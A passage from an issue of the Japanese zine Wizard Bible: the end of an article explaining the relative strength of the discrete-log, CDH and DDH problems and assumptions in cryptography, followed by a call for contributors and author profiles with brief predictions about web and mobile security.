ズムの構成は次のようになる。まず、DDH問題を解くアルゴリズムの入力として(g ,g^x,g^y,Z=g^xy or g^z)が与えられる（G,qなどは略した）。DDH問題を解くアル ゴリズムは内部でCDH問題を解くアルゴリズムをサブルーチンとして用いて、g^x とg^yからg^xyを計算できる。後はg^xy=Zが成り立つかどうかを検証する。成り立 てば入力は(g,g^x,g^y,Z=g^xy)と判断でき、成り立たなければ(g,g^x,g^y,Z=g^z) と判断できる。よって、DDH問題を解くアルゴリズムできた。さらに、DDH問題を 解くことができる確率は、内部で呼び出すCDH問題を解くアルゴリズムの成功確率 に一致している。 　一方、DDH問題が解けたからといって、CDH問題が解けるとは限らない。ここで 注意して欲しいのは「解けない」とは言っていないことである。値を部分的に解 いて、その後に何らかのうまい方法を使って、値全体を解いてしまうかもしれな いのである。しかし今のところはそのうまい方法も見つかっていないし、うまい 方法がまったくないということも証明されていない。もしうまい方法が見つかっ たら、CDH問題とDDH問題は同じ困難さを持つことになる。また、もしうまい方法 が存在しないことが証明されたら、CDH問題はDDH問題より真に困難であることに なる。 　以上のことをまとめると、CDH問題が解ければDDH問題は解けるということまで がわかっていることになる。困難さを大小関係で表せば、次のように表現できる。 ただし、「＞」という記号には「≧」の可能性も秘めていると解釈してもらいた い。 CDH問題＞DDH問題 　これで問題の（困難さの意味での）強弱関係はわかった。 ■0x07.) CDH仮定 vs DDH仮定 　次にCDH仮定とDDH仮定の強弱について説明する。CDH問題はDDH問題より困難な 問題であることは直観的に確認した。もう少し厳密に見たければ、アルゴリズム が構成できることを確認すればよい。これは簡単なので各自の宿題にしておこう。 　そもそも「問題が困難」というのは誰が対象かというと、敵に対してである。 よって、敵にとって、CDH問題よりDDH問題の方が解きやすいことを意味する。つ まり、敵にとってCDH問題を解くよりDDH問題を解く方が、仕事としてはやること が少ないのである。 　ところで、問題を解くアルゴリズムが存在しないこと、即ち問題を困難である ことを、仮定とした。例えば、CDH問題を解くことは敵にとってやりにくい仕事で あり、それを仮定するということは敵にとって「やりにくいことができない」と 前提としている。また、DDH問題を解くことは敵にとってやりやすい仕事であり、 これを仮定するということは敵にとって「やりやすいことができない」と前提し ている。比較すると、DDH仮定の方が敵にとってやりやすいことができないとして いるため、前提とすることが大きい。つまり、仮定が強いといえる。以上をまと めると、次のような仮定の強弱関係になる。 CDH仮定＜DDH仮定 　暗号を設計するときはなるべく弱い仮定を前提とした方がよい。仮定と問題の 強弱関係はクロスしていて慣れないと混乱するかもしれない。そこで、私の場合 は慣れるまで、次のような手順で思考するようにしていた。 ・暗号を作るときは仮定がそもそも存在しない方が嬉しい。 ・しかし仮定なしに作ることは多分無理だから、できれば弱い仮定で作りたい。 　このように考えると、仮定の「弱い」という意味と仮定なしの「量的にゼロ」 という意味に自然な関連ができていて想像しやすい。 ■0x08.) DL仮定 vs CDH仮定 　DDH仮定はCDH仮定より強いことを確認した。それではもっとも基本的な仮定の ひとつであるDL仮定と比較するとどうなるだろうかという疑問が浮かぶ。 　DL問題とはラフに言えば、累乗の部分であるgの右肩のxを完全に求める問題で ある。仮に、DL問題を解けるアルゴリズムが存在したとする。すると、CDH問題の インスタンスである(g,g^x,g^y)（G,qなどは略した）が与えられたときに、g^xか らxを求められる。これはDL問題を解くことができるとしているから当たり前であ る。また、同様にg^yからyも求められる。つまり、x,yを知ることができたので、 xyを計算できる。そして、gはインスタンスとして入力されているので、g^xy全体 も計算できる。このg^xyを入力(g,g^x,g^y)に対する出力とすれば、CDH問題を解 いていることになる。よって、DL問題を解くことができれば、CDH問題を解くこと ができるのである。つまり、DL問題の方がCDH問題よりも困難である。これを強弱 関係で表せば、次のようになる。 DL問題＞CDH問題 　仮定と問題の関係より、仮定の強弱は次のようになる。 DL仮定＜CDH仮定 　すでに得られた「CDH問題＞DDH問題」「CDH仮定＜DDH仮定」の関係を組み合わ せれば、次のようになる。 DL問題＞CDH問題＞DDH問題 DL仮定＜CDH仮定＜DDH仮定 　したがって、暗号を設計するときは、DL仮定に基づくようにした方がよりよい ことを意味する。ただし、DDH仮定などが駄目という意味ではない（しかもDDH仮 定より強い仮定はもっとたくさんある）。DDH問題にしろ効率的に解くアルゴリズ ムがまだ発見されていないし、おそらく発見されないだろうと思われている。 　おそらく発見されないであろうものを積極的に使っていくという立場を取る人 もいるだろう。なぜならば、一般的に強い仮定から作った方が高い安全性とよい 効率性を持たせることが容易だからである。また、数学的にエレガントにするた めに仮定は弱いに限るという立場を取る人もいるだろう。そのため、暗号の世界 では同じ暗号化であっても、色々な種類が存在するのである。どの暗号がよいの かというのは、暗号を利用する側（例えば実装する側）の選択に任せられる。安 全性を重視するのか、仮定を重視するのか、効率性を重視するのかは、実装者の 立場で決めればよいのである。まずその立場を明確にした上で選択に入らないと、 妥当な選択になることは難しいだろう。 ■0x09.) 仮定の重要性 　仮定を明確にすることは暗号の世界だけでなく、数学やその他の学問の世界で も重要だと考えられる。なぜならば、仮定が明確になってしまわなければ、定理 を主張している人とその定理を解釈する人の間で誤解が生じる可能性があるから である。このような誤解は建設的ではない。よって、何かを主張する場合は仮定 や想定しているモデルなどを明確にすべきである。 　極端な話をすれば、敵は通信の外部にいると仮定する。さらに、敵はすべての 通信を盗聴さえもできないと仮定する。 　前者の仮定により、敵は盗聴できないので、攻撃対象の通信を知ることができ ない。また、後者の仮定により、敵は通信の外部にいるので、なりすまし行為や 乗っ取り行為を行えない。よって、2つの仮定により、敵の攻撃と攻撃対象がまっ たく独立になってしまう。敵にとって攻撃対象のものがないわけであり、攻撃の 成功云々以前の問題である。ゆえに、この2つの仮定があれば、どんなに脆弱なシ ステムでも問題がないわけである。 　しかし、この2つの仮定はどちらも現実的ではない。 　まず1番目の仮定が妥当であるためには、現実社会において完全に盗聴不可能で ある通信路を実現できなければならない。そのためには、監視付きの専用線が必 要である。これはコスト上も現実的ではないし、インターネット上ではこの仮定 とは相反する明らかである。 　また、現実的には通信の相手の思惑などわかるわけないので、相手が悪意を持 っているか否かに係わらず通信の仕様通りに実行しているならば、こちらも仕様 通りに実行しなければならない。つまり、2番目の仮定も現実社会とギャップがあ り、妥当ではない。 　以上のように仮定には妥当性のあるものを設定しなければならない。そして、 仮定を明確にした上で、はじめて結論を主張できるのである。 ■0x0A.) 最後に 　今回は暗号の世界で登場する基本的な仮定であるDL仮定・CDH仮定・DDH仮定を 紹介した。他にもたくさんの仮定が存在する。ざっと挙げるだけでもDLIN仮定、 BDDH仮定、Square BDDH仮定、Qubic BDDH仮定、KEA1、KEA3、素因数分解困難仮定、 RSA仮定、強RSA仮定、One-More RSA Inversion仮定、SD仮定などである。私の知 らない仮定もたくさんある。こうしたその他の仮定は、WBで今後少しずつ紹介し ていくつもりである（自分の勉強のためにも）。 　また、今回は仮定の強弱や問題と仮定の関係を述べた。私自身慣れるまでたび たび仮定の強弱関係で混乱した。そこで、仮定を一旦問題に置き換え、その問題 を敵が解きやすいかどうかを思考して、仮定の強弱関係を導き出していた（賢い 人はすぐに理解するんだろうけども…）。この思考方法は今回WBで紹介した方法 と同じであるので、もし参考になればと思い執筆した次第である。 　今回せっかく拡張ElGamal暗号の話が少し出たので、次回は拡張ElGamal暗号の 定義と安全性について解説する予定である。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第5章: お知らせ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○Wizard Bible（http://wizardbible.org/）では随時、執筆ライターを募集して います。 　扱う内容のテーマは広義での「under ground」です。例えばハッキングやセキ ュリティからピッキングなどと幅広い内容を考えています。また特殊な職業や趣 味の解説などでも構いません。 　一回きりでも構いません。また必ず毎回連載する義務もありませんので、でき る範囲で構いません。気軽に声をかけてください。 ○Kenji AikoさんがQ&Aを作ってくれました。初めて参加する人でもわかりやすく 書かれていますので、参考にしてください。 http://wizardbible.org/wbQandA.html ○Wizard Bibleに参加希望の方は気軽にメール（ipusiron@gmail.com）ください。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第6章: 著者プロフィール --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■金床 ●Job: プログラマー ●Web: http://guardian.jumperz.net/, http://www.jumperz.net/ ●Mail: anvil@jumperz.net ●Comment: 　WB38のネタはやはり既知だったようです。教えてくれたhsgwさんありがとうご ざいました。たまにはWBにも記事書いてくだちい。 ●今後のセキュリティ 　ずばり以下です。 ・ウェブアプリケーションの増加と機能の増強により、XSSやCSRFを利用する攻撃 が激増し、また深刻な被害が多数発生する ・それに引きづられて「ITセキュリティ」というキーワードはもはや「ウェブア プリのセキュリティ」と同義となる ・ウェブアプリのセキュリティを扱う含む本が次々にリリースされ、どれも売り 上げを伸ばす ・「ウェブアプリケーションセキュリティ（金床著）」がベストセラーに。海外 で18カ国語に翻訳され、印税がなだれ込む ・貯金が貯まったため、リタイア。南の島で毎日朝から晩まで釣りをする生活に 　なんか前にも見たことがある気がしますが、気にしないヽ(´ー`)ノ ■Defolos ●Job: Student ●Web: http://ruffnex.oc.to/defolos/ ●Mail: defolos@ruffnex.oc.to ●Team（Group): none ●Comment: 　こんにちは、Defolosです。今回は趣向を変えて、MIXIを例にとって仕様の持つ 脆弱性を見てきました…、なんていうといかにもな感じですが、実際はWillcome で登録できないのを知って憤慨して書いただけです。MIXIも「Defolos」という名 前で登録してますので、マイミク要求はどうぞお気軽に〜。 ●今後のセキュリティ 　これからはケータイのセキュリティが一世を風靡するのではないかと予想しま す。ケータイの高機能化によってコンピュータとの境界が薄くなり、クラッカー の鉾先が個人情報満載で狙う価値ありのケータイに向くようになるのではと考え ます。 ■Kenji Aiko ●Job: Programmer ●Web: http://ruffnex.oc.to/kenji/ ●Mail: kenji@ruffnex.oc.to ●Team（Group): N/A ●Comment: 　実は、今回の記事を書いているときに、ふと、以前WizardBibleで、Linuxのブ ートセクタのコードを解説したことを思い出しました。 「Linuxを読んでみよう　〜 bootsect.S篇 〜」 http://wizardbible.org/13/13.txt 　もう3年くらい前の記事なのですが、改めて読んでみると、若いながらも「俺、 結構頑張ってたんだなぁ」と少し関心してしまいました。 　今回の記事は、正直かなり忙しい状況の中で、なんとか時間を作って書き上げ たものなのですが、今から3年後くらいにまた「俺、結構頑張ってたんだなぁ」と 思えるなら、眠い目をこすりながらキーボードを叩いている今も、そんなに悪く ないかなと思いました。 ■IPUSIRON ●Job: Student ●Web: http://akademeia.info/ ●Mail: ipusiron@gmail.com ●Team（Group): N/A ●Comment: 　今月で卒業です。この2年間はとても充実していたので長く感じました。それだ け苦しい時期があったということでしょうか。今となってはよい思い出です。今 後は社会人として頑張っていきたいです（今さら業界未経験として入社）。 ●今後のセキュリティについて 　リスクを予防するといったリスクマネジメントの重要性はよく認知されている が、危機が起こった後の事後処理に関するクライシスマネジメントの重要性は近 年になってようやく叫ばれるようになった。 　例えば、昨年は食品偽装問題がたびたび話題になった。これはセキュリティと 直接関係ないが、危機に備えるという点では同様に考えることができる。さらに、 危機が起こった後、どう対処するかによって今後の会社の信用に大きく変わって くる。食品偽装問題の例で言えば、偽装が発覚しマスコミからのバッシングが起 こった後に、どう対処するかによって会社の存続に係わってくる。食品偽装で問 題になった赤福を販売する伊勢屋は廃業したが、同様に問題になった白い恋人を 販売する石屋製菓は廃業していない。ここでは、どのようなアプローチで対応し たかについては言及を省略するが、このような差を生んだのはクライシスマネジ メントの違いに大きく関係すると容易に推測できる。 　セキュリティの世界で危機が起こった後の処理により大きな結果をもたらして しまう例を探すと、個人情報流失問題や暗号技術で使われる鍵の漏洩問題などが 存在する。例えば、暗号技術自体の安全性が証明されていても、その暗号技術で 用いられる鍵の運用・管理、さらには暗号技術の実装に問題があれば、全体の安 全性が崩壊してしまうことが考えられる。 　今後はセキュリティとクライシスマネジメントの関係を考察し、クライシスマ ネジメントにおける有効なアプローチを確立していかなければならないだろう。